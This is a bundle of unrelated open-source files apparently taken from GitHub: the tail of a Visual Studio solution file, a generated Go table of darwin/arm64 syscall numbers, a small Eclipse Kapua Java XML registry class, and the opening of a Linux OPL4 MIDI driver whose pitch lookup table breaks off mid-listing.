{EBCB3D22-03F2-40D2-B949-05CAE575F2EA}.Debug|Any CPU.Build.0 = Debug|Any CPU
{EBCB3D22-03F2-40D2-B949-05CAE575F2EA}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU
{EBCB3D22-03F2-40D2-B949-05CAE575F2EA}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU
{EBCB3D22-03F2-40D2-B949-05CAE575F2EA}.Debug|x86.ActiveCfg = Debug|Any CPU
{EBCB3D22-03F2-40D2-B949-05CAE575F2EA}.Debug|x86.Build.0 = Debug|Any CPU
{EBCB3D22-03F2-40D2-B949-05CAE575F2EA}.Release|Any CPU.ActiveCfg = Release|Any CPU
{EBCB3D22-03F2-40D2-B949-05CAE575F2EA}.Release|Any CPU.Build.0 = Release|Any CPU
{EBCB3D22-03F2-40D2-B949-05CAE575F2EA}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU
{EBCB3D22-03F2-40D2-B949-05CAE575F2EA}.Release|Mixed Platforms.Build.0 = Release|Any CPU
{EBCB3D22-03F2-40D2-B949-05CAE575F2EA}.Release|x86.ActiveCfg = Release|Any CPU
{EBCB3D22-03F2-40D2-B949-05CAE575F2EA}.Release|x86.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(NestedProjects) = preSolution
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF} = {1A7814D2-1185-484E-92CC-7DD71DDE6488}
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {5CC3AFE2-F092-40F3-A540-539389A045B6}
BuildVersion_ConfigurationName = Release
EndGlobalSection
GlobalSection(CodealikeProperties) = postSolution
SolutionGuid = 2bf66b53-ea6f-433b-b455-00e70ee33cd0
EndGlobalSection
EndGlobal
|
{
"pile_set_name": "Github"
}
|
// go run mksysnum.go /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS11.1.sdk/usr/include/sys/syscall.h
// Code generated by the command above; see README.md. DO NOT EDIT.
// +build arm64,darwin
package unix
const (
SYS_SYSCALL = 0
SYS_EXIT = 1
SYS_FORK = 2
SYS_READ = 3
SYS_WRITE = 4
SYS_OPEN = 5
SYS_CLOSE = 6
SYS_WAIT4 = 7
SYS_LINK = 9
SYS_UNLINK = 10
SYS_CHDIR = 12
SYS_FCHDIR = 13
SYS_MKNOD = 14
SYS_CHMOD = 15
SYS_CHOWN = 16
SYS_GETFSSTAT = 18
SYS_GETPID = 20
SYS_SETUID = 23
SYS_GETUID = 24
SYS_GETEUID = 25
SYS_PTRACE = 26
SYS_RECVMSG = 27
SYS_SENDMSG = 28
SYS_RECVFROM = 29
SYS_ACCEPT = 30
SYS_GETPEERNAME = 31
SYS_GETSOCKNAME = 32
SYS_ACCESS = 33
SYS_CHFLAGS = 34
SYS_FCHFLAGS = 35
SYS_SYNC = 36
SYS_KILL = 37
SYS_GETPPID = 39
SYS_DUP = 41
SYS_PIPE = 42
SYS_GETEGID = 43
SYS_SIGACTION = 46
SYS_GETGID = 47
SYS_SIGPROCMASK = 48
SYS_GETLOGIN = 49
SYS_SETLOGIN = 50
SYS_ACCT = 51
SYS_SIGPENDING = 52
SYS_SIGALTSTACK = 53
SYS_IOCTL = 54
SYS_REBOOT = 55
SYS_REVOKE = 56
SYS_SYMLINK = 57
SYS_READLINK = 58
SYS_EXECVE = 59
SYS_UMASK = 60
SYS_CHROOT = 61
SYS_MSYNC = 65
SYS_VFORK = 66
SYS_MUNMAP = 73
SYS_MPROTECT = 74
SYS_MADVISE = 75
SYS_MINCORE = 78
SYS_GETGROUPS = 79
SYS_SETGROUPS = 80
SYS_GETPGRP = 81
SYS_SETPGID = 82
SYS_SETITIMER = 83
SYS_SWAPON = 85
SYS_GETITIMER = 86
SYS_GETDTABLESIZE = 89
SYS_DUP2 = 90
SYS_FCNTL = 92
SYS_SELECT = 93
SYS_FSYNC = 95
SYS_SETPRIORITY = 96
SYS_SOCKET = 97
SYS_CONNECT = 98
SYS_GETPRIORITY = 100
SYS_BIND = 104
SYS_SETSOCKOPT = 105
SYS_LISTEN = 106
SYS_SIGSUSPEND = 111
SYS_GETTIMEOFDAY = 116
SYS_GETRUSAGE = 117
SYS_GETSOCKOPT = 118
SYS_READV = 120
SYS_WRITEV = 121
SYS_SETTIMEOFDAY = 122
SYS_FCHOWN = 123
SYS_FCHMOD = 124
SYS_SETREUID = 126
SYS_SETREGID = 127
SYS_RENAME = 128
SYS_FLOCK = 131
SYS_MKFIFO = 132
SYS_SENDTO = 133
SYS_SHUTDOWN = 134
SYS_SOCKETPAIR = 135
SYS_MKDIR = 136
SYS_RMDIR = 137
SYS_UTIMES = 138
SYS_FUTIMES = 139
SYS_ADJTIME = 140
SYS_GETHOSTUUID = 142
SYS_SETSID = 147
SYS_GETPGID = 151
SYS_SETPRIVEXEC = 152
SYS_PREAD = 153
SYS_PWRITE = 154
SYS_NFSSVC = 155
SYS_STATFS = 157
SYS_FSTATFS = 158
SYS_UNMOUNT = 159
SYS_GETFH = 161
SYS_QUOTACTL = 165
SYS_MOUNT = 167
SYS_CSOPS = 169
SYS_CSOPS_AUDITTOKEN = 170
SYS_WAITID = 173
SYS_KDEBUG_TYPEFILTER = 177
SYS_KDEBUG_TRACE_STRING = 178
SYS_KDEBUG_TRACE64 = 179
SYS_KDEBUG_TRACE = 180
SYS_SETGID = 181
SYS_SETEGID = 182
SYS_SETEUID = 183
SYS_SIGRETURN = 184
SYS_THREAD_SELFCOUNTS = 186
SYS_FDATASYNC = 187
SYS_STAT = 188
SYS_FSTAT = 189
SYS_LSTAT = 190
SYS_PATHCONF = 191
SYS_FPATHCONF = 192
SYS_GETRLIMIT = 194
SYS_SETRLIMIT = 195
SYS_GETDIRENTRIES = 196
SYS_MMAP = 197
SYS_LSEEK = 199
SYS_TRUNCATE = 200
SYS_FTRUNCATE = 201
SYS_SYSCTL = 202
SYS_MLOCK = 203
SYS_MUNLOCK = 204
SYS_UNDELETE = 205
SYS_OPEN_DPROTECTED_NP = 216
SYS_GETATTRLIST = 220
SYS_SETATTRLIST = 221
SYS_GETDIRENTRIESATTR = 222
SYS_EXCHANGEDATA = 223
SYS_SEARCHFS = 225
SYS_DELETE = 226
SYS_COPYFILE = 227
SYS_FGETATTRLIST = 228
SYS_FSETATTRLIST = 229
SYS_POLL = 230
SYS_WATCHEVENT = 231
SYS_WAITEVENT = 232
SYS_MODWATCH = 233
SYS_GETXATTR = 234
SYS_FGETXATTR = 235
SYS_SETXATTR = 236
SYS_FSETXATTR = 237
SYS_REMOVEXATTR = 238
SYS_FREMOVEXATTR = 239
SYS_LISTXATTR = 240
SYS_FLISTXATTR = 241
SYS_FSCTL = 242
SYS_INITGROUPS = 243
SYS_POSIX_SPAWN = 244
SYS_FFSCTL = 245
SYS_NFSCLNT = 247
SYS_FHOPEN = 248
SYS_MINHERIT = 250
SYS_SEMSYS = 251
SYS_MSGSYS = 252
SYS_SHMSYS = 253
SYS_SEMCTL = 254
SYS_SEMGET = 255
SYS_SEMOP = 256
SYS_MSGCTL = 258
SYS_MSGGET = 259
SYS_MSGSND = 260
SYS_MSGRCV = 261
SYS_SHMAT = 262
SYS_SHMCTL = 263
SYS_SHMDT = 264
SYS_SHMGET = 265
SYS_SHM_OPEN = 266
SYS_SHM_UNLINK = 267
SYS_SEM_OPEN = 268
SYS_SEM_CLOSE = 269
SYS_SEM_UNLINK = 270
SYS_SEM_WAIT = 271
SYS_SEM_TRYWAIT = 272
SYS_SEM_POST = 273
SYS_SYSCTLBYNAME = 274
SYS_OPEN_EXTENDED = 277
SYS_UMASK_EXTENDED = 278
SYS_STAT_EXTENDED = 279
SYS_LSTAT_EXTENDED = 280
SYS_FSTAT_EXTENDED = 281
SYS_CHMOD_EXTENDED = 282
SYS_FCHMOD_EXTENDED = 283
SYS_ACCESS_EXTENDED = 284
SYS_SETTID = 285
SYS_GETTID = 286
SYS_SETSGROUPS = 287
SYS_GETSGROUPS = 288
SYS_SETWGROUPS = 289
SYS_GETWGROUPS = 290
SYS_MKFIFO_EXTENDED = 291
SYS_MKDIR_EXTENDED = 292
SYS_IDENTITYSVC = 293
SYS_SHARED_REGION_CHECK_NP = 294
SYS_VM_PRESSURE_MONITOR = 296
SYS_PSYNCH_RW_LONGRDLOCK = 297
SYS_PSYNCH_RW_YIELDWRLOCK = 298
SYS_PSYNCH_RW_DOWNGRADE = 299
SYS_PSYNCH_RW_UPGRADE = 300
SYS_PSYNCH_MUTEXWAIT = 301
SYS_PSYNCH_MUTEXDROP = 302
SYS_PSYNCH_CVBROAD = 303
SYS_PSYNCH_CVSIGNAL = 304
SYS_PSYNCH_CVWAIT = 305
SYS_PSYNCH_RW_RDLOCK = 306
SYS_PSYNCH_RW_WRLOCK = 307
SYS_PSYNCH_RW_UNLOCK = 308
SYS_PSYNCH_RW_UNLOCK2 = 309
SYS_GETSID = 310
SYS_SETTID_WITH_PID = 311
SYS_PSYNCH_CVCLRPREPOST = 312
SYS_AIO_FSYNC = 313
SYS_AIO_RETURN = 314
SYS_AIO_SUSPEND = 315
SYS_AIO_CANCEL = 316
SYS_AIO_ERROR = 317
SYS_AIO_READ = 318
SYS_AIO_WRITE = 319
SYS_LIO_LISTIO = 320
SYS_IOPOLICYSYS = 322
SYS_PROCESS_POLICY = 323
SYS_MLOCKALL = 324
SYS_MUNLOCKALL = 325
SYS_ISSETUGID = 327
SYS___PTHREAD_KILL = 328
SYS___PTHREAD_SIGMASK = 329
SYS___SIGWAIT = 330
SYS___DISABLE_THREADSIGNAL = 331
SYS___PTHREAD_MARKCANCEL = 332
SYS___PTHREAD_CANCELED = 333
SYS___SEMWAIT_SIGNAL = 334
SYS_PROC_INFO = 336
SYS_SENDFILE = 337
SYS_STAT64 = 338
SYS_FSTAT64 = 339
SYS_LSTAT64 = 340
SYS_STAT64_EXTENDED = 341
SYS_LSTAT64_EXTENDED = 342
SYS_FSTAT64_EXTENDED = 343
SYS_GETDIRENTRIES64 = 344
SYS_STATFS64 = 345
SYS_FSTATFS64 = 346
SYS_GETFSSTAT64 = 347
SYS___PTHREAD_CHDIR = 348
SYS___PTHREAD_FCHDIR = 349
SYS_AUDIT = 350
SYS_AUDITON = 351
SYS_GETAUID = 353
SYS_SETAUID = 354
SYS_GETAUDIT_ADDR = 357
SYS_SETAUDIT_ADDR = 358
SYS_AUDITCTL = 359
SYS_BSDTHREAD_CREATE = 360
SYS_BSDTHREAD_TERMINATE = 361
SYS_KQUEUE = 362
SYS_KEVENT = 363
SYS_LCHOWN = 364
SYS_BSDTHREAD_REGISTER = 366
SYS_WORKQ_OPEN = 367
SYS_WORKQ_KERNRETURN = 368
SYS_KEVENT64 = 369
SYS___OLD_SEMWAIT_SIGNAL = 370
SYS___OLD_SEMWAIT_SIGNAL_NOCANCEL = 371
SYS_THREAD_SELFID = 372
SYS_LEDGER = 373
SYS_KEVENT_QOS = 374
SYS_KEVENT_ID = 375
SYS___MAC_EXECVE = 380
SYS___MAC_SYSCALL = 381
SYS___MAC_GET_FILE = 382
SYS___MAC_SET_FILE = 383
SYS___MAC_GET_LINK = 384
SYS___MAC_SET_LINK = 385
SYS___MAC_GET_PROC = 386
SYS___MAC_SET_PROC = 387
SYS___MAC_GET_FD = 388
SYS___MAC_SET_FD = 389
SYS___MAC_GET_PID = 390
SYS_PSELECT = 394
SYS_PSELECT_NOCANCEL = 395
SYS_READ_NOCANCEL = 396
SYS_WRITE_NOCANCEL = 397
SYS_OPEN_NOCANCEL = 398
SYS_CLOSE_NOCANCEL = 399
SYS_WAIT4_NOCANCEL = 400
SYS_RECVMSG_NOCANCEL = 401
SYS_SENDMSG_NOCANCEL = 402
SYS_RECVFROM_NOCANCEL = 403
SYS_ACCEPT_NOCANCEL = 404
SYS_MSYNC_NOCANCEL = 405
SYS_FCNTL_NOCANCEL = 406
SYS_SELECT_NOCANCEL = 407
SYS_FSYNC_NOCANCEL = 408
SYS_CONNECT_NOCANCEL = 409
SYS_SIGSUSPEND_NOCANCEL = 410
SYS_READV_NOCANCEL = 411
SYS_WRITEV_NOCANCEL = 412
SYS_SENDTO_NOCANCEL = 413
SYS_PREAD_NOCANCEL = 414
SYS_PWRITE_NOCANCEL = 415
SYS_WAITID_NOCANCEL = 416
SYS_POLL_NOCANCEL = 417
SYS_MSGSND_NOCANCEL = 418
SYS_MSGRCV_NOCANCEL = 419
SYS_SEM_WAIT_NOCANCEL = 420
SYS_AIO_SUSPEND_NOCANCEL = 421
SYS___SIGWAIT_NOCANCEL = 422
SYS___SEMWAIT_SIGNAL_NOCANCEL = 423
SYS___MAC_MOUNT = 424
SYS___MAC_GET_MOUNT = 425
SYS___MAC_GETFSSTAT = 426
SYS_FSGETPATH = 427
SYS_AUDIT_SESSION_SELF = 428
SYS_AUDIT_SESSION_JOIN = 429
SYS_FILEPORT_MAKEPORT = 430
SYS_FILEPORT_MAKEFD = 431
SYS_AUDIT_SESSION_PORT = 432
SYS_PID_SUSPEND = 433
SYS_PID_RESUME = 434
SYS_PID_HIBERNATE = 435
SYS_PID_SHUTDOWN_SOCKETS = 436
SYS_SHARED_REGION_MAP_AND_SLIDE_NP = 438
SYS_KAS_INFO = 439
SYS_MEMORYSTATUS_CONTROL = 440
SYS_GUARDED_OPEN_NP = 441
SYS_GUARDED_CLOSE_NP = 442
SYS_GUARDED_KQUEUE_NP = 443
SYS_CHANGE_FDGUARD_NP = 444
SYS_USRCTL = 445
SYS_PROC_RLIMIT_CONTROL = 446
SYS_CONNECTX = 447
SYS_DISCONNECTX = 448
SYS_PEELOFF = 449
SYS_SOCKET_DELEGATE = 450
SYS_TELEMETRY = 451
SYS_PROC_UUID_POLICY = 452
SYS_MEMORYSTATUS_GET_LEVEL = 453
SYS_SYSTEM_OVERRIDE = 454
SYS_VFS_PURGE = 455
SYS_SFI_CTL = 456
SYS_SFI_PIDCTL = 457
SYS_COALITION = 458
SYS_COALITION_INFO = 459
SYS_NECP_MATCH_POLICY = 460
SYS_GETATTRLISTBULK = 461
SYS_CLONEFILEAT = 462
SYS_OPENAT = 463
SYS_OPENAT_NOCANCEL = 464
SYS_RENAMEAT = 465
SYS_FACCESSAT = 466
SYS_FCHMODAT = 467
SYS_FCHOWNAT = 468
SYS_FSTATAT = 469
SYS_FSTATAT64 = 470
SYS_LINKAT = 471
SYS_UNLINKAT = 472
SYS_READLINKAT = 473
SYS_SYMLINKAT = 474
SYS_MKDIRAT = 475
SYS_GETATTRLISTAT = 476
SYS_PROC_TRACE_LOG = 477
SYS_BSDTHREAD_CTL = 478
SYS_OPENBYID_NP = 479
SYS_RECVMSG_X = 480
SYS_SENDMSG_X = 481
SYS_THREAD_SELFUSAGE = 482
SYS_CSRCTL = 483
SYS_GUARDED_OPEN_DPROTECTED_NP = 484
SYS_GUARDED_WRITE_NP = 485
SYS_GUARDED_PWRITE_NP = 486
SYS_GUARDED_WRITEV_NP = 487
SYS_RENAMEATX_NP = 488
SYS_MREMAP_ENCRYPTED = 489
SYS_NETAGENT_TRIGGER = 490
SYS_STACK_SNAPSHOT_WITH_CONFIG = 491
SYS_MICROSTACKSHOT = 492
SYS_GRAB_PGO_DATA = 493
SYS_PERSONA = 494
SYS_WORK_INTERVAL_CTL = 499
SYS_GETENTROPY = 500
SYS_NECP_OPEN = 501
SYS_NECP_CLIENT_ACTION = 502
SYS___NEXUS_OPEN = 503
SYS___NEXUS_REGISTER = 504
SYS___NEXUS_DEREGISTER = 505
SYS___NEXUS_CREATE = 506
SYS___NEXUS_DESTROY = 507
SYS___NEXUS_GET_OPT = 508
SYS___NEXUS_SET_OPT = 509
SYS___CHANNEL_OPEN = 510
SYS___CHANNEL_GET_INFO = 511
SYS___CHANNEL_SYNC = 512
SYS___CHANNEL_GET_OPT = 513
SYS___CHANNEL_SET_OPT = 514
SYS_ULOCK_WAIT = 515
SYS_ULOCK_WAKE = 516
SYS_FCLONEFILEAT = 517
SYS_FS_SNAPSHOT = 518
SYS_TERMINATE_WITH_PAYLOAD = 520
SYS_ABORT_WITH_PAYLOAD = 521
SYS_NECP_SESSION_OPEN = 522
SYS_NECP_SESSION_ACTION = 523
SYS_SETATTRLISTAT = 524
SYS_NET_QOS_GUIDELINE = 525
SYS_FMOUNT = 526
SYS_NTP_ADJTIME = 527
SYS_NTP_GETTIME = 528
SYS_OS_FAULT_WITH_PAYLOAD = 529
SYS_MAXSYSCALL = 530
SYS_INVALID = 63
)
|
{
"pile_set_name": "Github"
}
|
/*******************************************************************************
* Copyright (c) 2016, 2020 Eurotech and/or its affiliates and others
*
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* http://www.eclipse.org/legal/epl-v10.html
*
* Contributors:
* Eurotech - initial API and implementation
*******************************************************************************/
package org.eclipse.kapua.service.device.management.snapshot;
import org.eclipse.kapua.locator.KapuaLocator;
import javax.xml.bind.annotation.XmlRegistry;
/**
* {@link DeviceSnapshot} xml factory class
*
* @since 1.0
*/
@XmlRegistry
public class DeviceSnapshotXmlRegistry {
private static final KapuaLocator LOCATOR = KapuaLocator.getInstance();
private static final DeviceSnapshotFactory DEVICE_SNAPSHOT_FACTORY = LOCATOR.getFactory(DeviceSnapshotFactory.class);
/**
* Creates a new device snapshots list
*
* @return
*/
public DeviceSnapshots newDeviceSnapshots() {
return DEVICE_SNAPSHOT_FACTORY.newDeviceSnapshots();
}
/**
* Creates a new device snapshot
*
* @return
*/
public DeviceSnapshot newDeviceSnapshot() {
return DEVICE_SNAPSHOT_FACTORY.newDeviceSnapshot();
}
}
|
{
"pile_set_name": "Github"
}
|
/*
* OPL4 MIDI synthesizer functions
*
* Copyright (c) 2003 by Clemens Ladisch <clemens@ladisch.de>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions, and the following disclaimer,
* without modification.
* 2. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* Alternatively, this software may be distributed and/or modified under the
* terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include "opl4_local.h"
#include <linux/delay.h>
#include <asm/io.h>
#include <sound/asoundef.h>
/* GM2 controllers */
#ifndef MIDI_CTL_RELEASE_TIME
#define MIDI_CTL_RELEASE_TIME 0x48
#define MIDI_CTL_ATTACK_TIME 0x49
#define MIDI_CTL_DECAY_TIME 0x4b
#define MIDI_CTL_VIBRATO_RATE 0x4c
#define MIDI_CTL_VIBRATO_DEPTH 0x4d
#define MIDI_CTL_VIBRATO_DELAY 0x4e
#endif
/*
* This table maps 100/128 cents to F_NUMBER.
*/
static const s16 snd_opl4_pitch_map[0x600] = {
0x000,0x000,0x001,0x001,0x002,0x002,0x003,0x003,
0x004,0x004,0x005,0x005,0x006,0x006,0x006,0x007,
0x007,0x008,0x008,0x009,0x009,0x00a,0x00a,0x00b,
0x00b,0x00c,0x00c,0x00d,0x00d,0x00d,0x00e,0x00e,
0x00f,0x00f,0x010,0x010,0x011,0x011,0x012,0x012,
0x013,0x013,0x014,0x014,0x015,0x015,0x015,0x016,
0x016,0x017,0x017,0x018,0x018,0x019,0x019,0x01a,
0x01a,0x01b,0x01b,0x01c,0x01c,0x01d,0x01d,0x01e,
0x01e,0x01e,0x01f,0x01f,0x020,0x020,0x021,0x021,
0x022,0x022,0x023,0x023,0x024,0x024,0x025,0x025,
0x026,0x026,0x027,0x027,0x028,0x028,0x029,0x029,
0x029,0x02a,0x02a,0x02b,0x02b,0x02c,0x02c,0x02d,
0x02d,0x02e,0x02e,0x02f,0x02f,0x030,0x030,0x031,
0x031,0x032,0x032,0x033,0x033,0x034,0x034,0x035,
0x035,0x036,0x036,0x037,0x037,0x038,0x038,0x038,
0x039,0x039,0x03a,0x03a,0x03b,0x03b,0x03c,0x03c,
0x03d,0x03d,0x03e,0x03e,0x03f,0x03f,0x040,0x040,
0x041,0x041,0x042,0x042,0x043,0x043,0x044,0x044,
0x045,0x045,0x046,0x046,0x047,0x047,0x048,0x048,
0x049,0x049,0x04a,0x04a,0x04b,0x04b,0x04c,0x04c,
0x04d,0x04d,0x04e,0x04e,0x04f,0x04f,0x050,0x050,
0x051,0x051,0x052,0x052,0x053,0x053,0x054,0x054,
0x055,0x055,0x056,0x056,0x057,0x057,0x058,0x058,
0x059,0x059,0x05a,0x05a,0x05b,0x05b,0x05c,0x05c,
0x05d,0x05d,0x05e,0x05e,0x05f,0x05f,0x060,0x060,
0x061,0x061,0x062,0x062,0x063,0x063,0x064,0x064,
0x065,0x065,0x066,0x066,0x067,0x067,0x068,0x068,
0x069,0x069,0x06a,0x06a,0x06b,0x06b,0x06c,0x06c,
0x06d,0x06d,0x06e,0x06e,0x06f,0x06f,0x070,0x071,
0x071,0x072,0x072,0x073,0x073,0x074,0x074,0x075,
0x075,0x076,0x076,0x077,0x077,0x078,0x078,0x079,
0x079,0x07a,0x07a,0x07b,0x07b,0x07c,0x07c,0x07d,
0x07d,0x07e,0x07e,0x07f,0x07f,0x080,0x081,0x081,
0x082,0x082,0x083,0x083,0x084,0x084,0x085,0x085,
0x086,0x086,0x087,0x087,0x088,0x088,0x089,0x089,
0x08a,0x08a,0x08b,0x08b,0x08c,0x08d,0x08d,0x08e,
0x08e,0x08f,0x08f,0x090,0x090,0x091,0x091,0x092,
0x092,0x093,0x093,0x094,0x094,0x095,0x096,0x096,
0x097,0x097,0x098,0x098,0x099,0x099,0x09a,0x09a,
0x09b,0x09b,0x09c,0x09c,0x09d,0x09d,0x09e,0x09f,
0x09f,0x0a0,0x0a0,0x0a1,0x0a1,0x0a2,0x0a2,0x0a3,
0x0a3,0x0a4,0x0a4,0x0a5,0x0a6,0x0a6,0x0a7,0x0a7,
0x0a8,0x0a8,0x0a9,0x0a9,0x0aa,0x0aa,0x0ab,0x0ab,
0x0ac,0x0ad,0x0ad,0x0ae,0x0ae,0x0af,0x0af,0x0b0,
0x0b0,0x0b1,0x0b1,0x0b2,0x0b2,0x0b3,0x0b4,0x0b4,
0x0b5,0x0b5,0x0b6,0x0b6,0x0b7,0x0b7,0x0b8,0x0b8,
0x0b9,0x0ba,0x0ba,0x0bb,0x0bb,0x0bc,0x0bc,0x0bd,
0x0bd,0x0be,0x0be,0x0bf,0x0c0,0x0c0,0x0c1,0x0c1,
0x0c2,0x0c2,0x0c3,0x0c3,0x0c4,0x0c4,0x0c5,0x0c6,
0x0c6,0x0c7,0x0c7,0x0c8,0x0c8,0x0c9,0x0c9,0x0ca,
0x0cb,0x0cb,0x0cc,0x0cc,0x0cd,0x0cd,0x0ce,0x0ce,
0x0cf,0x0d0,0x0d0,0x0d1,0x0d1,0x0d2,0x0d2,0x0d3,
0x0d3,0x0d4,0x0d5,0x0d5,0x0d6,0x0d6,0x0d7,0x0d7,
0x0d8,0x0d8,0x0d9,0x0da,0x0da,0x0db,0x0db,0x0dc,
0x0dc,0x0dd,0x0de,0x0de,0x0df,0x0df,0x0e0,0x0e0,
0x0e1,0x0e1,0x0e2,0x0e3,0x0e3,0x0e4,0x0e4,0x0e5,
0x0e5,0x0e6,0x0e7,0x0e7,0x0e8,0x0e8,0x0e9,0x0e9,
0x0ea,0x0eb,0x0eb,0x0ec,0x0ec,0x0ed,0x0ed,0x0ee,
0x0ef,0x0ef,0x0f0,0x0f0,0x0f1,0x0f1,0x0f2,0x0f3,
0x0f3,0x0f4,0x0f4,0x0f5,0x0f5,0x0f6,0x0f7,0x0f7,
0x0f8,0x0f8,0x0f9,0x0f9,0x0fa,0x0fb,0x0fb,0x0fc,
0x0fc,0x0fd,0x0fd,0x0fe,0x0ff,0x0ff,0x100,0x100,
0x101,0x101,0x102,0x103,0x103,0x104,0x104,0x105,
0x106,0x106,0x107,0x107,0x108,0x108,0x109,0x10a,
0x10a,0x10b,0x10b,0x10c,0x10c,0x10d,0x10e,0x10e,
0x10f,0x10f,0x110,0x111,0x111,0x112,0x112,0x113,
0x114,0x114,0x115,0x115,0x116,0x116,0x117,0x118,
0x118,0x119,0x119,0x11a,0x11b,0x11b,0x11c,0x11c,
0x11d,0x11e,0x11e,0x11f,0x11f,0x120,0x120,0x121,
0x122,0x122,0x123,0x123,0x124,0x125,0x125,0x126,
0x126,0x127,0x128,0x128,0x129,0x129,0x12a,0x12b,
0x12b,0x12c,0x12c,0x12d,0x12e,0x12e,0x12f,0x12f,
0x130,0x131,0x131,0x132,0x132,0x133,0x134,0x134,
0x135,0x135,0x136,0x137,0x137,0x138,0x138,0x139,
0x13a,0x13a,0x13b,0x13b,0x13c,0x13d,0x13d,0x13e,
0x13e,0x13f,0x140,0x140,0x141,0x141,0x142,0x143,
0x143,0x144,0x144,0x145,0x146,0x146,0x147,0x148,
0x148,0x149,0x149,0x14a,0x14b,0x14b,0x14c,0x14c,
0x14d,0x14e,0x14e,0x14f,0x14f,0x150,0x151,0x151,
0x152,0x153,0x153,0x154,0x154,0x155,0x156,0x156,
0x157,0x157,0x158,0x159,0x159,0x15a,0x15b,0x15b,
0x15c,0x15c,0x15d,0x15e,0x15e,0x15f,0x160,0x160,
0x161,0x161,0x162,0x163,0x163,0x164,0x165,0x165,
0x166,0x166,0x167,0x168,0x168,0x169,0x16a,0x16a,
0x16b,0x16b,0x16c,0x16d,0x16d,0x16e,0x16f,0x16f,
0x170,0x170,0x171,0x172,0x172,0x173,0x174,0x174,
0x175,0x175,0x176,0x177,0x177,0x178,0x179,0x179,
0x17a,0x17a,0x17b,0x17c,0x17c,0x17d,0x17e,0x17e,
0x17f,0x180,0x180,0x181,0x181,0x182,0x183,0x183,
0x184,0x185,0x185,0x186,0x187,0x187,0x188,0x188,
0x189,0x18a,0x18a,0x18b,0x18c,0x18c,0x18d,0x18e,
0x18e,0x18f,0x190,0x190,0x191,0x191,0x192,0x193,
0x193,0x194,0x195,0x195,0x196,0x197,0x197,0x198,
0x199,0x199,0x19a,0x19a,0x19b,0x19c,0x19c,0x19d,
0x19e,0x19e,0x19f,0x1a0,0x1a0,0x1a1,0x1a2,0x1a2,
0x1a3,0x1a4,0x1a4,0x1a5,0x1a6,0x1a6,0x1a7,0x1a8,
0x1a8,0x1a9,0x1a9,0x1aa,0x1ab,0x1ab,0x1ac,0x1ad,
0x1ad,0x1ae,0x1af,0x1af,0x1b0,0x1b1,0x1b1,0x1b2,
0x1b3,0x1b3,0x1b4,0x1b5,0x1b5,0x1b6,0x1b7,0x1b7,
0x1b8,0x1b9,0x1b9,0x1ba,0x1bb,0x1bb,0x1bc,0x1bd,
0x1bd,0x1be,0x1bf,0x1bf,0x1c0,0x1c1,0x1c1,0x1c2,
0x1c3,0x1c3,0x1c4,0x1c5,0x1c5,0x1c6,0x1c7,0x1c7,
0x1c8,0x1c9,0x1c9,0x1ca,0x1cb,0x1cb,0x1cc,0x1cd,
0x1cd,0x1ce,0x1cf,0x1cf,0x1d0,0x1d1,0x1d1,0x1d2,
0x1d3,0x1d3,0x1d4,0x1d5,0x1d5,0x1d6,0x1d7,0x1d7,
0x1d8,0x1d9,0x1d9,0x1da,0x1db,0x1db,0x1dc,0x1dd,
0x1dd,0x1de,0x1df,0x1df,0x1e0,0x1e1,0x1e1,0x1e2,
0x1e3,0x1e4,0x1e4,0x1e5,0x1e6,0x1e6,0x1e7,0x1e8,
0x1e8,0x1e9,0x1ea,0x1ea,0x1eb,0x1ec,0x1ec,0x1ed,
0x1ee,0x1ee,0x1ef,0x1f0,0x1f0,0x1f1,0x1f2,0x1f3,
0x1f3,0x1f4,0x1f5,0x1f5,0x1f6,0x1f7,0x1f7,0x1f8,
0x1f9,0x1f9,0x1fa,0x1fb,0x1fb,0x1fc,0x1fd,0x1fe,
0x1fe,0x1ff,0x200,0x200,0x201,0x202,0x202,0x203,
0x204,0x205,0x205,0x206,0x207,0x207,0x208,0x209,
0x209,0x20a,0x20b,0x20b,0x20c,0x20d,0x20e,0x20e,
0x20f,0x210,0x210,0x211,0x212,0x212,0x213,0x214,
0x215,0x215,0x216,0x217,0x217,0x218,0x219,0x21a,
0x21a,0x21b,0x21c,0x21c,0x21d,0x21e,0x21e,0x21f,
0x220,0x221,0x221,0x222,0x223,0x223,0x224,0x225,
0x226,0x226,0x227,0x228,0x228,0x229,0x22a,0x22b,
0x22b,0x22c,0x22d,0x22d,0x22e,0x22f,0x230,0x230,
0x231,0x232,0x232,0x233,0x234,0x235,0x235,0x236,
0x237,0x237,0x238,0x239,0x23a,0x23a,0x23b,0x23c,
0x23c,0x23d,0x23e,0x23f,0x23f,0x240,0x241,0x241,
